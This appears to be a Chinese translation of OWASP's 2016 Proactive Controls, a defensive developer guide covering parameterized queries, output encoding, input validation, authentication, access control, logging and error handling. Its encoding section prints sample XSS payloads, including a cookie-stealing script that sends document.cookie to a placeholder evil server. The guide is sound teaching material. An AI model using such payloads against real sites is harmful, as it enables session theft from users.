

OWASP Proactive Controls For Developers

2016 v2.0

10 个高风险的安全防护建置指南

作者：徐祥智 Tony Hsu

About OWASP

The *Open Web Application Security Project* (OWASP) is a 501c3 non for profit educational charity dedicated to enabling organizations to design, develop, acquire, operate, and maintain secure software. All OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We can be found at www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost -effective information about application security.

OWASP is not affiliated with any technology company. Similar to many open source software projects, OWASP produces many types of materials in a collaborative and open way. The OWASP Foundation is a not--for--profit entity that ensures the project's long--term success.

INTRODUCTION

OWASP 十大安全防护安全设计指南 2016 应该包含在所有的软件开发的项目中。这十大防护安全设计的排列顺序主要是依据重要性排序，排名第一位为最重要。

1. 尽早验证，经常验证
2. 参数化查询的输入
3. 数据编码
4. 验证所有的输入
5. 身分认证与验证
6. 权限的存取控管
7. 保护数据
8. 日志与入侵检测
9. 善用安全框架与链接库
10. 错误与例外的处理



OWASP Proactive Controls – v 2.0

C1: 盡早驗證，經常驗證**说明**

许多的组织安全测试都是在开发后的阶段透过测试完成，采取的是测试找出问题再来修补的作法。安全团队透过工具扫描安全问题，回报给开发团队相关的弱点，让开发团队根据测试报告排定修补计划。这样的方式往往“头痛医头脚痛医脚”。

安全测试必须变成开发的一部份。不能将安全的测试遗留到项目接近尾声的时候才执行。不管是透过手动测试或是自动化测试都必须尽早验证，实时且经常验证。

在设计相关测试个案时必须将安全考虑进去。安全测试的个案必须定义到每一次测试周期都可以执行的最小单位。OWASP ASVS 定义安全需求与测试指南。定义安全需求的时候可以考虑使用测试用例模版，例如：“当 <使用者角色> 我希望 <可以执行某种功能> 达到 <效益与目的>。”将安全的功能与数据保护的需求在一开始需求定义的时候就考虑进去。

实务上执行建议透过每一次的测试结果，将测试的问题整理并且汇整到防护安全设计指南，避免同样或是类似的问题一再发生。另外安全团队可以与开发与测试团队

透过 Test Driven Development 与 Continuous Integration 等软件开发流程方法，逐渐让研发团队对自己开发的安全问题负责，并且将安全问题的解决与验证的循环自动化。

弱点防护

- [OWASP Top 10 全部](#)

References

- [OWASP Testing Guide](#)
- [OWASP ASVS](#)

Tools

- [OWASP ZAP](#)
- [OWASP Web Testing Environment Project](#)
- [OWASP OWTF](#)
- [BDD Security Open Source Testing Framework](#)
- [Gauntlt Security Testing Open Source Framework](#)

Training

- [OWASP Security Shepherd](#)
- [OWASP Mutillidae 2 Project](#)



OWASP Proactive Controls – v 2.0

C2: 参数化查询**说明**

SQL 注入是最危险的 Web 应用程序的风险之一。SQL 注入是很容易透过现有许多开源自动化攻击工具达成。SQL 注入对于应用程序也可能造成致命性的严重影响。

恶意 SQL 代码注入到 Web 应用程序时 - 可以造成整个数据库有可能被窃取，删除或修改。Web 应用程序甚至可以用来对运行数据库的操作系统的主机操作系统命令。导致 SQL 注入最主要的原因在于将 SQL 查询语句与参数的输入包含在一个查询字符串。

要避免 SQL 注入的攻击，必须要避免不可信的数据输入成为 SQL 语句的一部份。设计上最好的防护方式就是将查询参数化 ‘Query Parameterization’。查询参数化主要是将 SQL 语句与参数分离后送到数据库处理。

有许多的开发框架 (Rails, Django, Node.js, etc.) 使用 object-relational model (ORM) 方式将数据库结构定义与数据库隔离。ORMs 使用参数化的方式存取数据库数据。因此程序开发者只需

要关注用户数据输入的有效性.

其他的 SQL 注入的防御方式还包含自动静态分析与数据库配置. 数据库引擎可配置为只支持参数化的查询方式.

Java 范例

这里有一个参数化查询的 Java 代码范例:

```
String newName = request.getParameter("newName");  
int id = Integer.parseInt(request.getParameter("id"));  
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES  
SET NAME = ? WHERE ID = ?");  
pstmt.setString(1, newName);  
pstmt.setInt(2, id);
```

PHP 范例

使用 PDO 的 PHP 参数化查询范例:

```
$stmt = $dbh->prepare("update users set email=:new_email where  
id=:user_id");  
$stmt->bindParam(':new_email', $email);  
$stmt->bindParam(':user_id', $id);
```

Python 范例

使用 Python 参数化查询的范例

```
email = REQUEST['email']  
id = REQUEST['id']
```

```
cur.execute(update users set email=:new_email where id=:user_id",  
{"new_email": email, "user_id": id})
```


.NET 范例

使用 C#.NET 参数化查询的范例

```
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";  
SqlCommand command = new SqlCommand(sql);  
command.Parameters.Add(new SqlParameter("@CustomerId",  
System.Data.SqlDbType.Int));  
command.Parameters["@CustomerId"].Value = 1;
```

风险防护

- [OWASP Top 10 2013-A1-Injection](#)
- [OWASP Mobile Top 10 2014-M1 Weak Server Side Controls](#)

参考

- [OWASP Query Parameterization Cheat Sheet](#)
- [OWASP SQL Injection Cheat Sheet](#)
- [OWASP Secure Coding Practices Quick Reference Guide](#)



OWASP Proactive Controls – v 2.0

C3: 編碼輸入資料**说明**

编码是一种对许多攻击防护的有效办法。特别是针对注入式的攻击特别有防护效果。注入式的攻击主要透过编码的方式将特殊符号转换为一般正常的符号。透过编码的方式绕过验证与过滤。编码可以防护的攻击包含命令注入。(Unix 指令, Windows 指令) LDAP 注入 (LDAP 编码) and XML injection (XML 编码)等。另外一个对于有效预防 XSS 的攻击方是就是数据输出的编码。(例如 HTML 编码, JavaScript 编码等)。

网站开发

网站开发团队通常会建立动态的网页，网页通常由静态数据，HTML/JavaScript 与用户输入的数据所组成。这些输入在网站处理的过程中有可能造成不可知的风险。最常见的风险就是跨站脚本攻击 Cross-Site Scripting (XSS)。XSS 主要发生在黑客输入恶意的 JavaScript 数据，让受害者浏览该网站时，间接的执行该恶意 JavaScript

范例

透过 XSS site 更改网页

```
<script>document.body.innerHTML("Jim was here");</script>
```

XSS 会话盗取:

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

XSS 类型

XSS 的三种类型:

- Persistent 储存
- Reflected 反射性
- DOM based DOM

Persistent XSS (or Stored XSS) 主要发生在 XSS 攻击可以被储存在网站数据库或是档案中. 这样的 XSS 攻击方式是最危险的攻击. 因为所有受害使用者在登入网站之后都会受到影响, 单一的 XSS 攻击所造成的影响层面是所有网站的用户.

Reflected XSS 会发生的成因在于黑客利用 XSS 的输入成为 URL 的一部份, 诱导使用者点击浏览该 URL. 当使受害者浏览该 URL 时候, XSS

攻击就会被触发。Reflected XSS 这样的攻击方式比较没有那么危险，因为这样的攻击前提是需要黑客与使用者有进一步的互动，诱导使用者点击的前提下才会发生。

DOM based XSS 主要发生在 DOM 而不是 HTML。也就是说网页本身不会改变，但是客户端的程序网页的执行会随着 DOM 的恶意修改而有所改变。这样的攻击方式只能在动态时被观察。举例来说，这个网址 `hxxp://www.example.com/test.html` 包含下列程序代码：

```
<script>document.write("Current URL : " +  
document.baseURI);</script>
```

A DOM Based XSS 攻击方式可以透过传送 URL：

`hxxp://www.example.com/test.html#<script>alert(1)</script>`

如果只是看源代码并无法看出 `<script>alert(1)</script>`，因为 JavaScript 的执行主要透过 DOM 的方式完成。

输出的编码是防护 XSS 最有效的方式。输出编码主要是在建立用户接口之前，将用户输入的相关数据进行编码，这样可以避免动态网页由于 XSS 的输入所造成的攻击。数据的编码可能在 HTML 属性，HTML body 或是 JavaScript 程序代码等

编码的方式有 HTML Entity Encoding, JavaScript Encoding 与

Percent Encoding (aka URL Encoding)等. OWASP's Java Encoder Project 提供编码函数, 可以针对 Java 进行编码. .NET 4.5, 可以使用 AntiXssEncoder Class, 这个链接库提供 CSS, HTML, URL, JavaScriptString 与 XML encoders 等网页编码方式. 另外 AntiXSS 链接库也包含 LDAP 与 VBScript 的编码方式. 每一种网页的程序语言都会有相对应编码链接库的支持.

手机应用程序开发

手机应用程序中, 主要透过 WebView 在 android/iOS 应用程序显示 HTML/JavaScript 内容, 手机使用的浏览器 Safari 与 Chrome 核心架构与计算机相同. 因此对于网站应用程序来说, XSS 也会透过恶意的输入或是没有经过编码的输出造成 HTML/JavaScript 加载到 WebView 时所带来的 XSS 攻击. 因此, WebView 也是黑客用来攻击客户端的一种方式. 例如照相, 取得地理位置, 发送简讯, 发送电子邮件等攻击. 这些都会造成数据隐私外泄或是财务风险.

对于这样的攻击方式的防护取决于该应用程序如何使用手机 WebView.

- 恶意制造用户输入内容: 这种的攻击方式主要透过数据的过滤或是输出到 Web View 的编码来完成.

- 透过外部资源加载：如果 WebView 中必须要显示外部网站资源，建议使用独立安全的内容服务器来源来提供相关内容，另外针对 HTML/JavaScript 的输出内容加以编码呈现。避免被恶意的 JavaScript 程序代码攻击。

Java 范例

举例来说，OWASP Java Encoder 这个项目提供 XSS 防护建置链接库：[OWASP Java Encoder Project](#)。

PHP 范例

Zend Framework 2. Zend\Escaper 可以用来对数据输出的编码。

使用 ZF2 的编码范例：

```
<?php
$input = '<script>alert("zf2")</script>';
$escaper = new Zend\Escaper\Escaper('utf-8');

// somewhere in an HTML template
<div class="user-provided-input">
<?php echo $escaper->escapeHtml($input);?>
</div>
```

防护威胁

- [OWASP Top 10 2013-A1-Injection](#)

- [OWASP Top 10 2013-A3-Cross-Site_Scripting_\(XSS\)](#)
- [OWASP Mobile_Top_10_2014-M7 Client Side Injection](#)

参考

- 注入攻击信息参考 [OWASP Top 10 2013-A1-Injection](#)
- XSS 攻击信息参考 [XSS](#)
- [OWASP XSS Filter Evasion Attacks](#)
- 防护 XSS 指南 OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- 防护 DOM XSSOWASP DOM based XSS Prevention Cheat Sheet
- 使用 Microsoft AntiXSS 编码链接库
ASP.NET. <http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/>
- 使用 Microsoft AntiXSS 编码链接库主要编码函数 .<https://msdn.microsoft.com/en-us/security/aa973814.aspx>

工具

- [OWASP Java Encoder Project](#)



C4: 驗證所有的輸入

说明

任何跟应用系统有直接或是间接或是交互影响的数据输入都应该要被视作不可被信任。因此应用程序对于数据的输入应该验证其合法性与语意的正确性，包含要显示给用户的输出内容也是。除此之外，最安全的应用系统会将所有的参数视为不可信任并且针对所有的参数进行安全的防护控制

语法检查表示数据的型态与格式有一定的预期。举例来说，应用程序可能只允许用户选择四位数字的 `accountID` 来进行操作。该应用系统应该假设用户会输入 SQL injection 的恶意攻击，并且做数据输入的检查看看该数据是否为四位数字而且输入的字符只有数字。

语意的检查主要在于检查资料是否有意义。例如上述范例，应用程序应该假设用户会输入一个不允许登入的 `AccountID`。因此应用程序必须要检查该用户 `accountID` 是否有权限存取。

输入验证必须要在服务器端发生。客户端的数据验证检查可能使用上比较方便。例如客户端的检查可以透过 JavaScript 验证直接告诉

用户数据输入的正确性，但是服务器端的检查还是必须的。因为单纯靠客户端的检查，很容易被黑客绕过而对服务器直接进行攻击。

背景

有大部分的网站弱点来至于没有对数据输入进行验证或是验证不完整。数据的输入不仅限于画面上的输入，还包含下列的数据输入(但不限于):

- HTTP headers
- Cookies
- GET 与 POST 参数(包含 hidden fields)
- 档案上传 uploads (包含档案信息与文件名等的输入)

同样的手机应用程序的输入包含:

- Inter-process communication (IPC - 例如, Android Intents)
- 从后端服务器撷取的数据
- 从档案读取的数据

对于数据输入的验证, 常见的有两种方式, 一种是黑名单另外一种是白名单

黑名单主要检查使用者输入是否在已知的恶意输入清单中。黑名单的方式比较接近防病毒软件的运作方式: 提供第一线的防护, 防病

毒软件检查如果有已知的病毒档案就进行阻挡。这样的防护方式为防护的基础。

白名单主要检查使用者的输入是否是落在已知的合法输入。举例来书，网站可能允许选择三个城市，应用系统就会检查这三个城市是否在合法的白名单中，如果输入的是其他城市就会被拒绝。根据字符合法性检查的白名单会验证使用者输入是否只有包含已知合法字符或是已知的格式。举例来说，使用者名称仅能包含英文字母与只有两个数字的组合。

建置安全的应用系统，白名单的方式通常是比较安全的防护。黑名单的方式比较容易会有错误与误判的情况发生，黑名单需要因应新的攻击不断的更新。

Regular Expression

Regular expressions 提供数据是否符合格式的一种方式，这是一种有效建立白名单验证的方式。

当使用者注册网站的时候，网站会需要用户名称，密码与电子邮件等信息。黑客有可能透过这些数据，输入恶意的数据。透过 Regular Expressions 的验证方式，可以让白名单的检查更有效果。

举例来说, 我们利用 regular expression 建立使用者检查如下

```
^[a-z0-9_]{3,16}$
```

这个 regular expression 的数据输入只允许小写字母, 数字, 底线.

使用者名称仅限于 3-16 个长度的字母

对于密码也可以建立相对应的检查机制

```
^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#%]).{10,4000}$
```

这个 regular expression 限制密码只能够在 10 到 4000 个字符长度,

密码输入只能够包含大小写字母, 特殊符号@, #, \$, or %等.

针对电子邮件的 regular expression 范例可以参考 <http://www.w3.org/TR/html5/forms.html#valid-e-mail-address>).

```
^[a-zA-Z0-9.!#$%&'*/+=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

不好的 regular expressions 的设计会导致 DOS 的攻击. 建议在建立这样的白名单时, 可以使用 regular expression 的测试工具协助开发时进行相关的测试.

也有些特殊的情况无法单纯的靠 regular expressions. 举例来说, 如果你的应用系统需要处理 HTML 的内容, 输入的数据也允许 HTML 那么这样的内容就会很难建立白名单. 这种方式建议使用 HTML 验证的链接库, 而非使用 regular expression 的方式, 参考 [XSS Prevention Cheat Sheet on HTML Sanitization](#).

PHP 范例

PHP v5.2 之后提供可以将输入数据去除非法字符的机制。同时也提供数据过滤的方式

数据验证与过滤的范例：

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.\n";
}
```

注意：Regular Expression：

使用 regular expression 的方式其实会让验证方式很难读懂，其他建议的方式可以采用自建验证规则的函数增加程序的可读性。

注意：安全验证

数据输入的验证并无法完全有效的让所有的输入数据变成安全，因为很有可能白名单字符中也包含潜在恶意的字符。应用程序必须额外采用其他的防护措施 举例来说，如果要输出 HTML 内容，就必须要做 HTML 编码以防止 Cross-Site Scripting 攻击。如果要透过 SQL 语句执行，就必须使用参数化查询 Query Parameterization 的方式。针对 XSS 或是 SQL injection 的攻击方式都无法靠单纯的数据输入验证来达到完整安全防护。！

防护威胁

- [OWASP Top 10 2013-A1-Injection \(in part\)](#)
- [OWASP Top 10 2013-A3-Cross-Site Scripting \(XSS\) \(in part\)](#)
- [OWASP Top 10 2013-A10-Unvalidated Redirects and Forwards](#)
- [OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs \(in part\)](#)

参考

- [OWASP Input Validation Cheat Sheet](#)
- [OWASP Testing for Input Validation](#)
- [OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs](#)

工具

- [OWASP JSON Sanitizer Project](#)
- [OWASP Java HTML Sanitizer Project](#)



C5: 身分認證與驗證的防護

说明

认证主要是验证个人是否为该宣称的身任。验证通常透过提供使用者账号与其他用户应该知道的隐私讯息组成..

会话管理主要是维持认证状态的一种机制。这需要后端服务器记得整个完整交易的请求过程。Sessions 就会在客户端与服务器端不断的往返沟通。因此 sessions 应该必须保持唯一性而且不容易被猜测。

身分认证管理是一个更大的主题，不仅仅包含认证与会话管理，还包含服务间的相互认证 identity federation，单一账号登入认证 single sign on 与密码管理，授权，身份储存等。

以下是安全防护建置的建议与相关的程序代码范例。

使用多因子认证 Multi-Factor Authentication

多因子认证-factor authentication (MFA)的方式可以确保用户透过下列多重组合的方式认证：

- 用户知道—密码或是 PIN

- 使用者拥有的 - 手机
- 用户是谁 - 生物特征, 例如指纹

可参考 [OWASP Authentication Cheat Sheet](#) 其他详细说明.

手机应用程序: Token-Based Authentication

当开发手机应用程序时, 建议避免储存身分认证在客户端或是手机装置. 通常是在用户输入账号密码之后, 服务器会产生一组短期可以使用的授权码 token, 这个授权码可以让服务器验证手机端而不需要再次传递使用者身份.

安全的密码储存

为了要提供要强的认证防护, 应用系统应该要用更安全的方式储存身份信息. 除此之外, 加密密钥或是密码如果被黑客入侵, 也应该让黑客无法立即的存取到该信息.

参阅 [OWASP Password Storage Cheat Sheet](#)

忘记密码的安全防护机制

提供用户忘记密码是应用系统很普遍的功能. 一个好的密码回复流程会采用多因子认证的方式进行, 例如询问使用者问题 - 使用者知道的事, 另外透过使用者的手机发送认证码 - 用户所拥有的装置

请

参

阅

[Forgot Password Cheat Sheet](#) and [Choosing and Using Security Questions Cheat Sheet](#)

会话:产生与过期失效

只要认证成功或是重新认证时, 软件就会产生新的 session ID.

为了避免黑客对于有效的会话 session 进行拦截攻击, 每一个 session 必须设置闲置失效时间. 当一段时间没有任何交易进行时, 该会话就会自动失效. 时间的长短应该与数据的价值成反比. 越重要的数据, 失效时间应该越短. 请参阅 [Session Management Cheat Sheet](#).

对于敏感性功能应该要重新验证

对于敏感性交易, 像是更改密码或是更改寄送购买货品的邮件地址, 都应该要有重新认证的过程, 并且在认证成功的时候重新产生新的 session ID.

PHP 密码储存范例

以下是 PHP 使用 password_hash() 密码储存范例(5.5.0 版本)默认使用 bcrypt 算法. 下列的范例使用 work factor=15.

```
<?php
$cost = 15;
```



```
$password_hash = password_hash("secret_password",  
PASSWORD_DEFAULT, ["cost" => $cost] ); ?>
```

结论

身分认证是安全一个重要的课题。我们只有讨论基本的防护原则，团对开发时也建议让最资深的工程师共同来为这部分的安全把关。

防护弱点

- [OWASP Top 10 2013 A2- Broken Authentication and Session Management](#)
- [OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication](#)

参考数据

- [OWASP Authentication Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [OWASP Forgot Password Cheat Sheet](#)
- [OWASP Choosing and Using Security Questions Cheat Sheet](#)
- [OWASP Session Management Cheat Sheet](#)
- [OWASP Testing Guide 4.0: Testing for Authentication](#)
- [IOS Developer Cheat Sheet](#)



C6: 存取控管

说明

授权(存取控管)是针对特定资源发出存取请求,判断该请求是否应该被核准或是拒绝。要注意的是授权与认证是不同的。这里个名词经常被混淆。

授权的设计可以由简单开始,之后根据应用系统的需求演进为较为复杂的安全控管。在设计时间的时候有些安全的设计需要考虑。一旦选定特定的授权控制机制后,之后要再重新更改新的授权机制会比较困难。特别是在多租户的使用环境下,权限管理在应用系统安全防护更是重要。

强制所有的存取都需要经过权限控制

有许多的框架或是程序语言只有在程序代码中加入该功能的检查时才会进行权限控制。建议权限控制应该是中央控管,所有的存取都应该要再第一时间做权限验证。考虑可以设计一个自动过滤的机制,将所有的存取都透过权限控制的方式检查

预设不授权

透过自动权限检查的机制，考虑预设将所有没有经过权限检查的存取都不允许存取。这样可以避免新功能因为程序开发遗漏授权检查而导致跳过授权验证的步骤。

最小权限原则

当设计访问控制时，所有的用户或是系统组件应该都默认配置最小的权限，在最短的有效权限时间内执行相关的功能。

避免程序代码中写死（Hard-Coded）权限控制

有许多情况权限控管被写死在程序逻辑中。这会让安全的稽查变得特别困难且耗时。如果可以的话，权限控管的规则应该与程序分离。另一个方式就是将权限检查与最终权限决定分离。

程序代码

有许多的框架依据使用者角色来决定权限控制的权限。透过是用者角色的权限控制也是通用的安全防护设计。但是往往程序实作上却是以用户与对应的功能权限来做检查。这样的检查应该要定义用户与功能对应权限对应关系。举例来说，使用者使用者通常会根据项目修改角色，但是存取项目的相关权限商业功能也应该要加以定义。下面是不好的程序代码范例：

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
```

```
deleteAccount();  
}
```

正确的程序范例：

```
if (user.hasAccess("DELETE_ACCOUNT")) {  
    deleteAccount();  
}
```

服务器端的信任数据要以权限控制为导向

有许多的信息内容提供让服务器端作为权限控制的判断(使用者的登入，用户权力，用户权力规则，哪些功能与数据已被存取，地理位置等)，这些信息由后端服务器决定是否可以存取，而非客户端可以任意存取或是决定。权限规则像是用户角色或是权限控制规则不能成为客户端任意存取的一部份。一个标准的网站应用系统中，客户端数据只有 id 需要作为权限控制的输入。许多其他关于权限控制的信息应该由后端服务器决定是否能够被存取。

Java 范例

就像上述所讨论，建议将访问控制定义与商业逻辑分开。这样的安全设计方式就可以透过中央安全规则管理实现弹性化权限配置。举

例来说 [Apache Shiro](#) API 提供简单的 [INI-based configuration file](#) 安全配置档案让权限控制规则可以透过模块的方式弹性调整。Apache Shiro 也可以与许多其它 Java 兼容的框架运作 (Spring, Guice, JBoss, etc)。Aspects 也提供可以把权限控制与应用程序代码分离的机制, 并且提供可以稽核的实作方式。

安全防护

- [OWASP Top 10 2013-A4-Insecure Direct Object References](#)
- [OWASP Top 10 2013-A7-Missing Function Level Access Control](#)
- [OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication](#)

参考

- [OWASP Access Control Cheat Sheet](#)
- [OWASP Testing Guide for Authorization](#)
- [OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication](#)



C7: 保護資料

加密传输过程中的数据

当传输敏感数据的时候，系统的每一个环节或是网络都应该在传递的过程中加密。TLS 是目前最普遍被网站使用来做数据传递加密的方式。尽管已经有些已知的风险被发现(e.g. Heartbleed)，TLS 的加密方式还是建议在传递的过程中使用。

数据加密

密码的储存很难做到安全。数据的分类也会影响数据加密的方式。例如信用卡数据就必须符合 PCI-DSS 认证标准。如果你希望要自己建立自己的密码系统，也必须确定有足够的专业判断该密码的强度。实务上建议使用业界已经经过验证的加密算法，而非自行开发加密算法。可以使用 Google KeyCzar 的加密链接库，Bouncy Castle 等加密函数都包含在该链接库 SDK。另外对于密码系统的处理也必须考虑密钥的管理与整体加密架构的设计，对于较复杂的系统还要考虑系统间相互的信任关系。

数据传输加密的弱点常发生在选用不适合的加密密钥或是将加密密

钥与数据一起储存。密钥应该被视为机密而且只能存在特别保护的存储器中。需要授权用户才能够存取该密钥并且使用后要从内存中移除。其它替代方案像是使用特殊的硬件来进行加密，例如 Hardware Security Module (HSM) 的密钥管理，加密相关的程序与模块必须独立运作。

传递过程的防护

确保敏感性信息不会在传递的过程中外泄。敏感性信息可能从内存被存取，或是从临时储存的磁盘位置或是记录文件等被黑客读取。

手机应用程序:客户端的储存安全防护

对于手机装置来说，因为经常会有遗失或是被窃取的问题，因为防护手机端的数据安全需要适当的防护措施。应用程序如果建置不当，很容易导致严重的信息外泄(举例来书:认证信息，存取验证 token 等)。当管理重要敏感数据时 最好的方式就是不要将数据储存在手机端，甚至透过 iOS keychain 的方式储存都不要。

安全防护

- [OWASP Top 10 2013-A6-Sensitive Data Exposure](#)
- [OWASP Mobile Top 10 2014-M2 Insecure Data Storage](#)

参考

- TLS 安全设定: [OWASP Transport Layer Protection Cheat Sheet](#)
- 防护中间人与伪造 TLS 证书的攻击威胁: [OWASP Pinning Cheat Sheet](#)
- [OWASP Cryptographic Storage Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [OWASP Testing for TLS](#)
- IOS Developer Cheat Sheet: [OWASP iOS Secure Data Storage](#)
- IOS Application Security Testing Cheat Sheet: [OWASP Insecure data storage](#)

工具

- [OWASP O-Saft TLS Tool](#)



C8: 建立日誌審計與入侵檢測

说明

应用程序日志应该不限于程序除错使用。日志也被运用在其它记录审计，举例如下：

- 应用程序监控
- 商业分析
- 活动日志稽核与合规监控
- 系统入侵检测 System intrusion detection
- 分析与鉴定 Forensics

分析日志与安全事件有助于威胁攻击与防护：让我们可以确定相关的安全测试与攻击的防护是否有效果。

为了要让关连分析更加容易，建议可以用通用的日志格式让不同系统间的日志分析更容易。例如可以使用 SLF4J 的 Logback 或是 Apache Log4j2 的日志框架等。

程序监控，交易日志审计等通常会因为不同的目的而被收集，这也表示这些日志会被另外储存。这些事件的类型与详细的内容也会有

所不同。举例来说，PCI DSS 审计日志会包含历史时间顺序的活动日志以提供独立的审计单位可以按照时间轴针对交易的属性进行稽核。对于日志记录的详细程度过多与过少都不好。要确保日志有时间并且可以辨认来源 IP 与 user ID，但是必须注意不能够记录个人隐私或是个人机密的信息。透过日志的使用目的来判断应该要记录的详细程度。同时日志的写入应该要透过编码方式进行，防止日志被伪造 Log Injection aka [log forging](#)。

[OWASP AppSensor Project](#) 提供如何网站应用系统建置入侵检测与自动防御的指南：透过加入检测规则并且定义回复采取行动来防护网站的攻击。举例来说，如果服务服务器端侦测到非法的数据输入，或是一个不能够编辑的数据字段但是却被送到后端服务器时，表示该后端服务器遭受到攻击。这时候不要只是用日志记录下来，进一步可以发送告警，或是采取其它行动保护整个系统，例如该攻击的联机或是将该账号锁住无法使用等。

在手机应用程序，程序开发应该利用日志来进行除错，这样常会导致许多敏感性信息外泄的问题。这些手机日志可以透过 Xcode IDE (iOS) 或是 Logcat (Android) 或是其它第三方工具来对手机上的日志进行分析与读取。因此，对于手机来说，最好的方式就是将日志

的功能取消.

良好的安全日志设计包含下列要素

1. 日志可以设定层级, 例如 i.e. Information, Warning, Error, fatal or Security Breach (highest value)
2. 可以对任何的字符编码避免日志注入的攻击
3. 不要纪录敏感性信息. 举例来说, 密码, session ID 或是密码的 Hash 值, 信用卡, 社会保险码等
4. 保护日志的完整性. 黑客可能会修改日志. 因此, 日志档案存取 的权限与日志修改的稽核都应该纳入考虑.
5. 日志档案大小的成长: 黑客可以透过送出大量的请求导致磁盘空间不足或是造成之前的日志被覆盖.

取消 Android 手机程序的日志

取消 Android 手机程序日志最简单的方是就是使用 Android [ProGuard](#), 这个工具会将相关的日志函数移除. 可以透过 proguard-project.txt 配置定义:

```
-assumenosideeffects class android.util.Log
{
    public static boolean isLoggable(java.lang.String, int);
    public static int v(...);
```

```
public static int i(...);  
  
public static int w(...);  
  
public static int d(...);  
  
public static int e(...);  
  
}
```

取消 iOS 手机程序的日志

同样的技巧也可以套用在 iOS 手机应用程序，利用 preprocessor 的定义方式移除日志相关程序代码：

```
#ifndef DEBUG  
#define NSLog(...)   
#endif
```

安全防护

- [All Top Ten!](#)
- [Mobile Top 10 2014-M4 Unintended Data Leakage](#)

参考数据

- 如何正确的建置日志 [OWASP Logging Cheat Sheet](#)
- iOS Developer Cheat Sheet: [OWASP Sensitive Information Disclosure](#)
- [OWASP Logging](#)
- [OWASP Reviewing Code for Logging Issues](#)

工具

- [OWASP AppSensor Project](#)
- [OWASP Security Logging Project](#)



C9: 使用安全框架來開發

当建置网站服务或是手机应用程序，如果防护措施要从头到尾自行建置开发会十分耗时而且会导致许多安全漏洞。业界有许多成熟的安全框架可以帮助开发与建置过程中减少许多安全漏洞。实作上建议依据目前现有的架构，采用合适的安全框架。网站安全框架有：

- [Spring Security](#)
- [Apache Shiro](#)
- [Django Security](#)
- [Flask security](#)

另外还必须考虑框架还是会有潜在安全的漏洞，网站提供功能的攻击路径，以及第三方插件漏洞等风险。举例来书，Wordpress 框架一个很普遍的网站框架，可以快速的搭建网站，也支持安全漏洞的更新，但是 Wordpress 第三方工具却不一定会有安全补丁的实时更新。因此，建议额外的安全防护措施，经常更新安全补丁，尽早验证等措施还是必要的

安全防护

安全框架通常可以避免常见的网站风险，例如 OWASP Top 10，特别是

基于错误输入的攻击方式（例如输入 JavaScript 而非使用者名称）。
使用安全框架时要随时保持该框架的最新版本，避免遭受已知威胁攻击，参考[透过已知威胁攻击 Top 10 2013](#)

参考

- [OWASP PHP Security Cheat Sheet](#)
- [OWASP .NET Security Cheat Sheet](#)
- [Security tips and tricks for JavaScript MVC frameworks and templating libraries](#)
- [Angular Security](#)
- [OWASP Security Features in common Web Frameworks](#)
- [OWASP Java Security Libraries and Frameworks](#)

工具

- [OWASP Dependency Check](#)



C10: 錯誤與例外處理

说明

建置错误与例外处理是一个琐碎的过程。但是错误与例外状况的处理却是编码防护重要的一环。不恰当的错误处理会导致许多安全漏洞的风险：

1) 泄漏数据给黑客, 让黑客知道服务器平台所使用的技术与设计 [CWE 209](#). 举例来说, 回复 stack trace 或是其它内部详细错误的讯息都会导致让黑客知道更多后端服务器的运作逻辑。黑客也会透过不同的错误型态(例如, 错误的用户或是错误的密码等)来了解服务器检查的机制。

2) 完全不做错误检查会导致错误无法被侦测到或是无法预期的结果 [CWE 391](#). University of Toronto 的研究员发现在分布式系统中, 错误处理或是失误是导致系统失败的主要原因 <https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf>.

错误与例外处理包含商业逻辑与安全防护等。透过程序代码的审视，安全测试与渗透测试，fuzzing ([Fuzzing](#)) 测试等都可以帮助找到错误处理的漏洞。其中最有名的自动化工具为 [Netflix's Chaos Monkey](#)。

建议

对于例外处理建议采用中央管理的方式避免许多重复的 try/catch 程序代码的片段，确保非预期的行为都可以正确的被应用程序处理。

- 确保显示给用户的错误讯息不会泄漏过多的信息，但是用户还是可以理解问题发生的原因与解释。
- 确保例外状况会被记录下来，这些例外状况记录的信息可以供未来问题的追踪，分析或是事件回复使用，主要帮助研发团对理解所发生的问题。

安全防护

- * [All Top Ten!](#)

参考

- [OWASP Code Review Guide - Error Handling](#)
- [OWASP Testing Guide - Testing for Error Handling](#)
- [OWASP Improper Error Handling](#)

工具

- [Aspirator](#) 错误处理检查工具